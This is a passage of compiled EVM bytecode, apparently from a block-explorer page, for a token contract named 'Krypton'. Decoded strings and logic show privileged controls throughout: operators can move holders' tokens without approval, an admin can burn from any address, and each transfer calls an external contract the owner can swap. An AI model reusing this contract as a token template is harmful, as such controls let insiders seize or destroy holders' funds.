673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbc90612436565b60405180910390fd5b6001151560095f9054906101000a900460ff16151503610ee9575f821115610df557610df081611948565b610e5c565b604051610e0190611ccd565b604051809103905ff080158015610e1a573d5f803e3d5ffd5b50600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b8152600401610ebb93929190612454565b5f604051808303815f87803b158015610ed2575f80fd5b505af1158015610ee4573d5f803e3d5ffd5b505050505b50505050565b610ef761199a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b90612436565b60405180910390fd5b60095f9054906101000a900460ff161560095f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611042576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103990612436565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a7906124d3565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516111009291906121ba565b60405180910390a1805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600781526020017f4b525950544f4e00000000000000000000000000000000000000000000000000815250905090565b61118f61199a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f390612436565b60405180910390fd5b6112068282611a5b565b5050565b5f61121633848461160e565b6001905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612561565b60405180910390fd5b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507f44f92d27abdf4cfb6a7d712c3af68f3be086d4ca747ab802c36f67d6790060d882826040516113329291906123c5565b60405180910390a15050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f805a905060035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661144e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611445906125ef565b60405180910390fd5b61145989898961160e565b5f8511156114705761146f898787848888611c1e565b5b6001915050979650505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114e857505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151e90612657565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116019190611ec0565b60405180910390a3505050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b815260040161166d93929190612454565b5f604051808303815f87803b158015611684575f80fd5b505af1158015611696573d5f803e3d5ffd5b505050505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ff906126bf565b60405180910390fd5b5f60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561178c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178390612727565b60405180910390fd5b81816117989190612276565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546118259190612745565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118899190611ec0565b60405180910390a350505050565b5f811180156118ac57506118aa82610a5a565b155b15611943575f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561194157611940848484611480565b5b505b505050565b611950611cb8565b156119975780600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a355760025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a56565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac0906127e8565b60405180910390fd5b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4490612876565b60405180910390fd5b81600854611b5b9190612276565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f828254611bad9190612276565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c119190611ec0565b60405180910390a3505050565b5f5a84611c2b9190612276565b905085811115611c39578590505b8281611c459190612745565b90505f8582611c549190612894565b9050858282611c639190612902565b14611ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9a9061297c565b60405180910390fd5b611cae88848361160e565b5050505050505050565b5f8060149054906101000a900460ff16905090565b6101fe8061299b83390190565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d11578082015181840152602081019050611cf6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d3682611cda565b611d408185611ce4565b9350611d50818560208601611cf4565b611d5981611d1c565b840191505092915050565b5f6020820190508181035f830152611d7c8184611d2c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611db182611d88565b9050919050565b611dc181611da7565b8114611dcb575f80fd5b50565b5f81359050611ddc81611db8565b92915050565b5f60208284031215611df757611df6611d84565b5b5f611e0484828501611dce565b91505092915050565b5f819050919050565b611e1f81611e0d565b8114611e29575f80fd5b50565b5f81359050611e3a81611e16565b92915050565b5f8060408385031215611e5657611e55611d84565b5b5f611e6385828601611dce565b9250506020611e7485828601611e2c565b9150509250929050565b5f8115159050919050565b611e9281611e7e565b82525050565b5f602082019050611eab5f830184611e89565b92915050565b611eba81611e0d565b82525050565b5f602082019050611ed35f830184611eb1565b92915050565b5f805f60608486031215611ef057611eef611d84565b5b5f611efd86828701611dce565b9350506020611f0e86828701611dce565b9250506040611f1f86828701611e2c565b9150509250925092565b5f60ff82169050919050565b611f3e81611f29565b82525050565b5f602082019050611f575f830184611f35565b92915050565b611f6681611e7e565b8114611f70575f80fd5b50565b5f81359050611f8181611f5d565b92915050565b5f8060408385031215611f9d57611f9c611d84565b5b5f611faa85828601611dce565b9250506020611fbb85828601611f73565b9150509250929050565b5f805f8060808587031215611fdd57611fdc611d84565b5b5f611fea87828801611dce565b9450506020611ffb87828801611dce565b935050604061200c87828801611e2c565b925050606061201d87828801611dce565b91505092959194509250565b61203281611da7565b82525050565b5f60208201905061204b5f830184612029565b92915050565b5f806040838503121561206757612066611d84565b5b5f61207485828601611dce565b925050602061208585828601611dce565b9150509250929050565b5f805f805f805f60e0888a0312156120aa576120a9611d84565b5b5f6120b78a828b01611dce565b97505060206120c88a828b01611dce565b96505060406120d98a828b01611e2c565b95505060606120ea8a828b01611e2c565b94505060806120fb8a828b01611e2c565b93505060a061210c8a828b01611e2c565b92505060c061211d8a828b01611dce565b91505092959891949750929550565b7f6f6e6c7920657865637574696f6e41646d696e2063616e206368616e676520655f8201527f7865637574696f6e41646d696e00000000000000000000000000000000000000602082015250565b5f612186602d83611ce4565b91506121918261212c565b604082019050919050565b5f6020820190508181035f8301526121b38161217a565b9050919050565b5f6040820190506121cd5f830185612029565b6121da6020830184612029565b9392505050565b7f4e6f7420656e6f7567682066756e647320616c6c6f77656400000000000000005f82015250565b5f612215601883611ce4565b9150612220826121e1565b602082019050919050565b5f6020820190508181035f83015261224281612209565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61228082611e0d565b915061228b83611e0d565b92508282039050818111156122a3576122a2612249565b5b92915050565b7f6d73672e73656e64657220213d206f776e6572202626202173757065724f70655f8201527f7261746f72000000000000000000000000000000000000000000000000000000602082015250565b5f612303602583611ce4565b915061230e826122a9565b604082019050919050565b5f6020820190508181035f830152612330816122f7565b9050919050565b7f6f6e6c7920657865637574696f6e2061646d696e20697320616c6c6f776564205f8201527f746f2061646420657865637574696f6e206f70657261746f7273000000000000602082015250565b5f612391603a83611ce4565b915061239c82612337565b604082019050919050565b5f6020820190508181035f8301526123be81612385565b9050919050565b5f6040820190506123d85f830185612029565b6123e56020830184611e89565b9392505050565b7f6f6e6c792061646d696e000000000000000000000000000000000000000000005f82015250565b5f612420600a83611ce4565b915061242b826123ec565b602082019050919050565b5f6020820190508181035f83015261244d81612414565b9050919050565b5f6060820190506124675f830186612029565b6124746020830185612029565b6124816040830184611eb1565b949350505050565b7f6e6577206f776e657220697320746865207a65726f20616464726573730000005f82015250565b5f6124bd601d83611ce4565b91506124c882612489565b602082019050919050565b5f6020820190508181035f8301526124ea816124b1565b9050919050565b7f6f6e6c792061646d696e20697320616c6c6f77656420746f20616464207375705f8201527f6572206f70657261746f72730000000000000000000000000000000000000000602082015250565b5f61254b602c83611ce4565b9150612556826124f1565b604082019050919050565b5f6020820190508181035f8301526125788161253f565b9050919050565b7f6f6e6c7920657865637574696f6e206f70657261746f727320616c6c6f7765645f8201527f20746f2070657266726f6d207472616e7366657220616e642063686172676500602082015250565b5f6125d9603f83611ce4565b91506125e48261257f565b604082019050919050565b5f6020820190508181035f830152612606816125cd565b9050919050565b7f43616e6e6f7420617070726f76652077697468203078300000000000000000005f82015250565b5f612641601783611ce4565b915061264c8261260d565b602082019050919050565b5f6020820190508181035f83015261266e81612635565b9050919050565b7f43616e6e6f742073656e6420746f2030783000000000000000000000000000005f82015250565b5f6126a9601283611ce4565b91506126b482612675565b602082019050919050565b5f6020820190508181035f8301526126d68161269d565b9050919050565b7f6e6f7420656e6f7567682066756e6400000000000000000000000000000000005f82015250565b5f612711600f83611ce4565b915061271c826126dd565b602082019050919050565b5f6020820190508181035f83015261273e81612705565b9050919050565b5f61274f82611e0d565b915061275a83611e0d565b925082820190508082111561277257612771612249565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f6127d2602183611ce4565b91506127dd82612778565b604082019050919050565b5f6020820190508181035f8301526127ff816127c6565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f612860602283611ce4565b915061286b82612806565b604082019050919050565b5f6020820190508181035f83015261288d81612854565b9050919050565b5f61289e82611e0d565b91506128a983611e0d565b92508282026128b781611e0d565b915082820484148315176128ce576128cd612249565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61290c82611e0d565b915061291783611e0d565b925082612927576129266128d5565b5b828204905092915050565b7f6f766572666c6f770000000000000000000000000000000000000000000000005f82015250565b5f612966600883611ce4565b915061297182612932565b602082019050919050565b5f6020820190508181035f8301526129938161295a565b905091905056fe608060405234801561000f575f80fd5b506101e18061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80636bf92ea21461002d575b5f80fd5b6100476004803603810190610042919061015b565b610049565b005b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100f7826100ce565b9050919050565b610107816100ed565b8114610111575f80fd5b50565b5f81359050610122816100fe565b92915050565b5f819050919050565b61013a81610128565b8114610144575f80fd5b50565b5f8135905061015581610131565b92915050565b5f805f60608486031215610172576101716100ca565b5b5f61017f86828701610114565b935050602061019086828701610114565b92505060406101a186828701610147565b915050925092509256fea26469706673582212208fa57b781d1bbb332d170e44cee9fa98062d4d9baa7ba69b1a6743af02eec6fa64736f6c63430008150033a2646970667358221220f5c8e7d89dfa01c8939604b3257f1975719b11a7925ac05a935778aedbc5dcba64736f6c63430008150033608060405234801561000f575f80fd5b506101e18061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80636bf92ea21461002d575b5f80fd5b6100476004803603810190610042919061015b565b610049565b005b805f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100f7826100ce565b9050919050565b610107816100ed565b8114610111575f80fd5b50565b5f81359050610122816100fe565b92915050565b5f819050919050565b61013a81610128565b8114610144575f80fd5b50565b5f8135905061015581610131565b92915050565b5f805f60608486031215610172576101716100ca565b5b5f61017f86828701610114565b935050602061019086828701610114565b92505060406101a186828701610147565b915050925092509256fea26469706673582212208fa57b781d1bbb332d170e44cee9fa98062d4d9baa7ba69b1a6743af02eec6fa64736f6c6343000815003300000000000000000000000025d1acff50caaae20f153a7f7aad9f01dcf7c4e000000000000000000000000025d1acff50caaae20f153a7f7aad9f01dcf7c4e0

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610156575f3560e01c806370a08231116100c157806395d89b411161007a57806395d89b41146103c45780639dc29fac146103e2578063a9059cbb146103fe578063ac9fe4211461042e578063dd62ed3e1461044a578063e18aa3351461047a57610156565b806370a082311461032a578063715018a61461035a578063787ca65f146103645780637c519ffb146103805780638da5cb5b1461038a5780638f283970146103a857610156565b8063313ce56711610113578063313ce567146102425780633b7b5a16146102605780634ada218b1461029057806361247de3146102ae578063654b748a146102de578063699c834b1461030e57610156565b806306fdde031461015a5780630819ba7414610178578063095ea7b31461019457806318160ddd146101c457806323b872dd146101e25780632b99174614610212575b5f80fd5b6101626104aa565b60405161016f9190611d64565b60405180910390f35b610192600480360381019061018d9190611de2565b6104e7565b005b6101ae60048036038101906101a99190611e40565b610613565b6040516101bb9190611e98565b60405180910390f35b6101cc610629565b6040516101d99190611ec0565b60405180910390f35b6101fc60048036038101906101f79190611ed9565b610632565b6040516102099190611e98565b60405180910390f35b61022c60048036038101906102279190611ed9565b610842565b6040516102399190611e98565b60405180910390f35b61024a610918565b6040516102579190611f44565b60405180910390f35b61027a60048036038101906102759190611ed9565b610920565b6040516102879190611e98565b60405180910390f35b6102986109f6565b6040516102a59190611e98565b60405180910390f35b6102c860048036038101906102c39190611de2565b610a08565b6040516102d59190611e98565b60405180910390f35b6102f860048036038101906102f39190611de2565b610a5a565b6040516103059190611e98565b60405180910390f35b61032860048036038101906103239190611f87565b610aac565b005b610344600480360381019061033f9190611de2565b610bcc565b6040516103519190611ec0565b60405180910390f35b610362610c12565b005b61037e60048036038101906103799190611fc5565b610d38565b005b610388610eef565b005b610392610f8e565b60405161039f9190612038565b60405180910390f35b6103c260048036038101906103bd9190611de2565b610fb5565b005b6103cc61114a565b6040516103d99190611d64565b60405180910390f35b6103fc60048036038101906103f79190611e40565b611187565b005b61041860048036038101906104139190611e40565b61120a565b6040516104259190611e98565b60405180910390f35b61044860048036038101906104439190611f87565b611220565b005b610464600480360381019061045f9190612051565b61133e565b6040516104719190611ec0565b60405180910390f35b610494600480360381019061048f919061208f565b6113c0565b6040516104a19190611e98565b60405180910390f35b60606040518060400160405280600781526020017f4b727970746f6e00000000000000000000000000000000000000000000000000815250905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d9061219c565b60405180910390fd5b7fb2b670b34860515166c00eba5e2e5fa8116d57091604f37ba24ac8021c7fa16560025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516105c89291906121ba565b60405180910390a18060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f61061f338484611480565b6001905092915050565b5f600554905090565b5f8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156106b6575060015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561082c575f60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461082a57828110156107a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107989061222b565b60405180910390fd5b82816107ad9190612276565b60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505b61083784848461160e565b600190509392505050565b5f8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108c3575060015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990612319565b60405180910390fd5b61090d848484611480565b600190509392505050565b5f6009905090565b5f8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109a1575060015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d790612319565b60405180910390fd5b6109eb848484611897565b600190509392505050565b60095f9054906101000a900460ff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b32906123a7565b60405180910390fd5b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507ffcebaa973ed84808fb785c92941aa4798f3f66923f5a2ff544382db3a9b3a3a28282604051610bc09291906123c5565b60405180910390a15050565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9690612436565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f604051610cef9291906121ba565b60405180910390a15f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbc90612436565b60405180910390fd5b6001151560095f9054906101000a900460ff16151503610ee9575f821115610df557610df081611948565b610e5c565b604051610e0190611ccd565b604051809103905ff080158015610e1a573d5f803e3d5ffd5b50600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28585856040518463ffffffff1660e01b8152600401610ebb93929190612454565b5f604051808303815f87803b158015610ed2575f80fd5b505af1158015610ee4573d5f803e3d5ffd5b505050505b50505050565b610ef761199a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b90612436565b60405180910390fd5b60095f9054906101000a900460ff161560095f6101000a81548160ff021916908315150217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611042576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103990612436565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a7906124d3565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516111009291906121ba565b60405180910390a1805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600781526020017f4b525950544f4e00000000000000000000000000000000000000000000000000815250905090565b61118f61199a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f390612436565b60405180910390fd5b6112068282611a5b565b5050565b5f61121633848461160e565b6001905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612561565b60405180910390fd5b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507f44f92d27abdf4cfb6a7d712c3af68f3be086d4ca747ab802c36f67d6790060d882826040516113329291906123c5565b60405180910390a15050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f805a905060035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661144e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611445906125ef565b60405180910390fd5b61145989898961160e565b5f8511156114705761146f898787848888611c1e565b5b6001915050979650505050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114e857505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611527576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151e90612657565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116019190611ec0565b60405180910390a3505050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bf92ea28484846040518463ffffffff1660e01b815260040161166d93929190612454565b5f604051808303815f87803b158015611684575f80fd5b505af1158015611696573d5f803e3d5ffd5b505050505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ff906126bf565b60405180910390fd5b5f60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561178c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178390612727565b60405180910390fd5b81816117989190612276565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546118259190612745565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118899190611ec0565b60405180910390a350505050565b5f811180156118ac57506118aa82610a5a565b155b15611943575f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561194157611940848484611480565b5b505b505050565b611950611cb8565b156119975780600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b5f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a355760025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a56565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac0906127e8565b60405180910390fd5b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4490612876565b60405180910390fd5b81600854611b5b9190612276565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f828254611bad9190612276565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c119190611ec0565b60405180910390a3505050565b5f5a84611c2b9190612276565b905085811115611c39578590505b8281611c459190612745565b90505f8582611c549190612894565b9050858282611c639190612902565b14611ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9a9061297c565b60405180910390fd5b611cae88848361160e565b5050505050505050565b5f8060149054906101000a900460ff16905090565b6101fe8061299b83390190565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611d11578082015181840152602081019050611cf6565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611d3682611cda565b611d408185611ce4565b9350611d50818560208601611cf4565b611d5981611d1c565b840191505092915050565b5f6020820190508181035f830152611d7c8184611d2c565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b